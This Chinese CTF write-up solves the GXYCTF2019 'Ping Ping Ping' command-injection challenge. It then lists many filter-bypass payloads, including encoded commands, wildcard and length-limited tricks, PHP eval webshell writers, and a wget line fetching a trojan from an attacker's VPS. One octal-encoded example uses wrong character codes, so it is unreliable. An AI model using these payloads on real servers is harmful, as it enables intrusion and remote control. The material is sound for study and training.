[GXYCTF2019]Ping Ping Ping
开始就给了/?ip=
的提示,有点像DVWA
里的命令执行。尝试127.0.0.1||whoami
得到正向反馈,执行ls
,看到有flag.php
,尝试执行127.0.0.1||cat flag.php
反馈得知空格被ban
,跟着王叹之师傅的帖子学习了一波绕过。
空格绕过
$IFS
${IFS}
$IFS$1 //$1改成$加其他数字貌似都行
<
<>
{cat,flag.php} //用逗号实现了空格功能
%20
%09 //需要php环境
通过测试这里只有$IFS$1
能绕过,继续走又发现flag
被ban
,绝了。为了知道都ban了些什么玩意儿我决定看看index.php
<?php
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "<pre>";
print_r($a);
}
?>
属实优秀,他咋不把数字也ban
了真的是。。。
大师傅给出了几种思路,学习一下:
解题思路
1.cat$IFS$1fl* 利用*匹配任意 //失败
2.ca\t$IFS$1fl\ag.php //失败
3.cat$IFS$1fl''ag.php //失败
4.echo$IFS$1Y2F0IGZsYWcucGhw|$IFS$1base64$IFS$1-d|bash //失败
5.echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh //成功
6.a=g;cat$IFS$1fla$a.php //成功(利用源码中的变量a)
拓展
拼接命令
root@kali:~# a=c;b=at;c=fl;d=ag.p;e=hp;$a$b $c$d$e
==>cat flag.php
引号、反斜线绕过
c""at fl''ag.php
c\at fl\ag.php
==>cat flag.php
$1、$2等和$@绕过
c$1at f$2la$@g.php
==>cat flag.php
编码绕过
base64:(可以不加双引号闭合)
echo “Y2F0IGZsYWcucGhw” | base64 -d | bash
echo “Y2F0IGZsYWcucGhw” | base64 -d | sh
echo “Y2F0IGZsYWcucGhw” | base64 -d
==>cat flag.php
hex:(十六进制)
echo “636174666c61672e706870” | xxd -r -p|bash
echo “636174666c61672e706870” | xxd -r -p|sh
$(printf "\x63\x61\x74\x20\x66\x6C\x61\x67\x2E\x70\x68\x70")
{printf,"\x63\x61\x74\x20\x66\x6C\x61\x67\x2E\x70\x68\x70"}|$0
==>cat flag.php
oct:(八进制)
$(printf "\143\141\164\32\146\154\141\147\46\160\150\160")
{printf,"\143\141\164\32\146\154\141\147\46\160\150\160"}|$0
==>cat flag.php
#可以通过这样来写webshell,内容为
${printf,\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76”}
==> 1.php
查看命令被ban
绕过
命令替代:cat
、tac
、more
、less
、head
、tail
、tailf
、nl
、sed
、sort
、uniq
、cut
、awk
、strings
、od
(1)more:一页一页的显示档案内容
(2)less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页
(3)head:查看头几行
(4)tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
(5)tail:查看尾几行
(6)nl:显示的时候,顺便输出行号
(7)od:以二进制的方式读取档案内容
(8)vi:一种编辑器,这个也可以查看
(9)vim:一种编辑器,这个也可以查看
(10)sort:可以查看
(11)uniq:可以查看
(12)file -f:报错出具体内容
内联绕过:
cat `ls` //反引号内命令输出将作为输入执行
echo "xx`pwd`"
echo "xx$(pwd)"
通配符绕过
root@kali:~# /???/?[a][t] ?''?''?''?''
this is your flag
xx
cc
xa
/bin/cat: test: 是一个目录
root@kali:~# /???/?at flag
this is your flag
xx
cc
xa
root@kali:~# /???/?at ????
this is your flag
xx
cc
xa
/bin/cat: test: 是一个目录
root@kali:~# /???/?[a]''[t] ?''?''?''?''
this is your flag
xx
cc
xa
/bin/cat: test: 是一个目录
>符号和>>符号
(1)通过>来创建文件
root@kali:~# >shell.php
(2)通过>将命令结果存入文件中,使用>命令会将原有文件内容覆盖,如果是存入不存在的文件名,那么就会新建该文件再存入
root@kali:~# echo "Hello">hello.txt
(3)>>符号的作用是将字符串添加到文件内容末尾,不会覆盖原内容
root@kali:~# echo "World">>hello.txt
换行
root@kali:~# ca\
>t\
> fl\
>ag\
>.php
# 限制命令长度的绕过
root@kali:~# echo "ca\\">cmd
root@kali:~# echo "t\\">>cmd
root@kali:~# echo " fl\\">>cmd
root@kali:~# echo "ag">>cmd
root@kali:~# cat cmd
ca\
t\
fl\
ag
root@kali:~# sh cmd
flag{Tr0jAn_V1rU4_1s_v14y_Ha0ds0m1}
利用ls -t和>以及换行符绕过长度限制执行命令(文件构造绕过)
root@kali:~# touch a
root@kali:~# touch b
root@kali:~# touch c
root@kali:~# ls -t>new
root@kali:~# cat new
new
c
b
a
#先执行了创建new文件然后将ls -t的执行结果写入new文件
用此法get flag
root@kali:~# > "ag"
root@kali:~# > "fl\\"
root@kali:~# > "t \\"
root@kali:~# > "ca\\"
root@kali:~# ls -t
'ca\' 't \' 'fl\' ag flag
root@kali:~# ls -t > a
root@kali:~# sh a
a: 1: a: not found
flag{Tr0jAn_V1rU4_1s_v14y_Ha0ds0m1}
a: 6: flag: not found
如果服务器能连外网还可以使用命令wget 网址 -O shell.php
去执行我们自己vps
上面的木马文件
命令注入长度限制绕过
15位可控字符下的任意命令执行
如需执行 echo \<?php eval($_GET[1]);?\>>1
root@kali:~# echo \<?php >1
root@kali:~# echo eval\(>>1
root@kali:~# echo \$_GET>>1
root@kali:~# echo \[1\]>>1
root@kali:~# echo \)\;?>>1
7位可控字符下的任意命令执行
1>a
或者w>b
分别可以创建a和b两个空文件夹。
ls>c
会将目录下面的文件名写入到c文件中;ls -t>0
会将文件名按照创建的时间倒叙写入0文件中。并且自动换行。
\
作为转义符,转义之后的''是用来换行分隔,也就是换行也是连接的。
root@kali:~# ca\
root@kali:~# t
#这就代表cat
例如这样的代码:
<?php
if(strlen($_GET[1])<8){
echo shell_exec($_GET[1]);
}
?>
假设我产要写入<?php echo phpinfo();
echo PD9waHAgcGhwaW5mbygpOw== | base64 -d >1.php
root@kali:~# w>hp
root@kali:~# w>1.p\\
root@kali:~# w>d\>\\
root@kali:~# w>\-\\
root@kali:~# w>e64\\
root@kali:~# w>bas\\
root@kali:~# w>=\|\\
root@kali:~# w>w=\\
root@kali:~# w>gpO\\
root@kali:~# w>mby\\
root@kali:~# w>aW5\\
root@kali:~# w>Ghw\\
root@kali:~# w>Agc\\
root@kali:~# w>waH\\
root@kali:~# w>PD9\\
root@kali:~# w>o\ \\
root@kali:~# w>ech\\
root@kali:~# ls -t>0
root@kali:~# sh 0
倒叙新建文件名,然后通过ls -t>0
,将刚才的顺序再倒序然后写入到0
文件中,然后用sh
将0
当作脚本执行。
5位可控字符下的任意命令执行
ls -t>0
超过了5位
root@kali:~# >ls\\
root@kali:~# ls>a
root@kali:~# >\ \\
root@kali:~# >-t\\
root@kali:~# >\>0
root@kali:~# ls>>a
这就将ls -t>0
写在了a
脚本中,如果要用的话直接sh a
,之后写入自己的命令按照7位的逻辑写就行了。
4位可控字符下的任意命令执行
ls -th>f
超过了4位
root@kali:~# >f\>
root@kali:~# >ht-
root@kali:~# >sl
root@kali:~# >dir
root@kali:~# *>v
root@kali:~# >rev
root@kali:~# *v>0
root@kali:~# cat 0
这就将ls -th>f
写入到了脚本0
当中,后面就可以直接按照7位的那样写入我们要执行的命令,最后使用sh 0
执行ls -th>f
,然后将命令写入了f
脚本中,执行sh f
即可。
注意:
\>py\\
这里看着是5个字符,超过了4个的限制,实际上是因为shell
环境需要输入\\
产生\
,但是php
代码exec
时,只需要输入\
即可产生\
,比如 exec(">py\")
即可。
这上面的所以payload
均在linux
终端shell里面进行操作,因此需要'\'
的地方都进行了再加'\'
转义,也就变成了'\\'
,如果在命令注入函数里面输入时,'\'
不需要用'\'
转义。
4位命令绕过的payload的构造逻辑、原理:
这里大佬总结得很清晰明了了,附上链接:https://www.sohu.com/a/208155480_354899
3位可控字符下的任意命令执行
前两天在ctf.show
看到了一个题名为[nl]难了
,就是一个限制在三个字符的绕过。
#创建了nl的文件,再用*>a,生成a文件,Flag在a
root@kali:~# >nl
root@kali:~# *
或者
root@kali:~# >nl
root@kali:~# *
或者
root@kali:~# >od
root@kali:~# *
或者
root@kali:~# >xz
root@kali:~# *